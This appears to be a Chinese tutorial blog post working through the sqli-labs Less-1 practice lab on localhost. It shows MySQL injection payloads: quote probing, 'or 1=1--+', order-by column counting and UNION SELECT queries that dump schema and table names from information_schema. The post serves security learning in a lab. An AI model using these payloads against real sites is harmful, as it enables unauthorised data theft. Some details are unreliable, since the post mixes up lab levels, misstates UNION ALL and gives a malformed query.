mysql注入less-1

我们在PHPstudy软件搭好环境后,打开PHPstudy并访问:http://127.0.0.1链接
并找到相关目录(我的目录为sqli-labs-master):

在这里插入图片描述点进去往下拉就找到第一道题:
在这里插入图片描述
打开题目我们可以看到:
在这里插入图片描述

然后我们可以在“ http://127.0.0.1/sqllib/Less-1/”后面直接添加一个 “?id=1”,
来看一下效果:

在这里插入图片描述

输入“?id=1”之后我们就得到了题目的用户名还有用户密码:

我们可以在 http://127.0.0.1/sqllib/Less-5/?id=1 后面直接添加一个 ‘ ,来看一下效果:

在这里插入图片描述
从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1,
多加了一个 ’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何
将多余的 ‘ 去掉呢?
尝试 ‘or 1=1–+

在这里插入图片描述

此时构造的 sql 语句就成了

select from information_schema where id=‘1’or 1=1–+’ LIMIT 0,1

在这里插入图片描述
此处可以利用 “ 'order by ”。Order by 对前面的数据进行排序,我们就只能用“'order by 3”,超过 3 就会报错。
‘order by 4–+的结果显示结果超出。(?id=1’order by 3) 说明只有三列数据:

在这里插入图片描述

图片

在这里插入图片描述

此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从
下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U
nion all 与 union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行
information_schema 知识的应用。
http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2–+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,
当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返
回了我们构造的 union 的数据。

这里我们先看看登录页面:

在这里插入图片描述

回显位为第二和第三个数:由上面我们知道共有列数据,说明只有两列数据有内容

在这里插入图片描述
接下来查看数据库的名称:
爆数据库的网址是:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,group_concat(schema_name),3 from information_schema.schemata–+”
但这道题的SQL语句为:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1”

在这里插入图片描述

接着爆 security 数据库的数据表
http://127.0.0.1/sqllib/Less-1/?id=-1'union select 1,group_concat(table_name),3 f
rom%20information_schema.tables%20where%20table_schema=%27security%27–+
此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n
ame),3 from information_schema.tables where table_schema=’security’–+ LIMIT 0,1

(2)系统函数
介绍几个常用函数:

  1. version()——MySQL 版本

  2. user()——数据库用户名

  3. database()——数据库名

  4. @@datadir——数据库路径

  5. @@version_compile_os——操作系统版本

  6. database()——数据库名

启动 mysql,然后通过查询检查下数据库:

在这里插入图片描述

这个实验用到的数据库名为 security,所以我们选择 security 来执行命令。

在这里插入图片描述

我们可以查看下这个数据库中有哪些表(SQL中表用tables)

在这里插入图片描述

现在我们可以看到这里有四张表,然后我们来看下这张表的结构。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在继续进行前台攻击时,我们想讨论下系统数据库,即 information_schema。所以我们使用它:

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

让我们来看下表格。

在这里插入图片描述

现在我们先来枚举这张表

desc tables;

在这里插入图片描述

现在我们来使用这个查询:
“select table_name from information_schema.tables where table_schema =“security”;”
在这里插入图片描述

使用这个查询,我们可以下载到表名。
Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的,
我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****

网址:“http://127.0.0.1/sqli-labs-master/Less-11/”

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值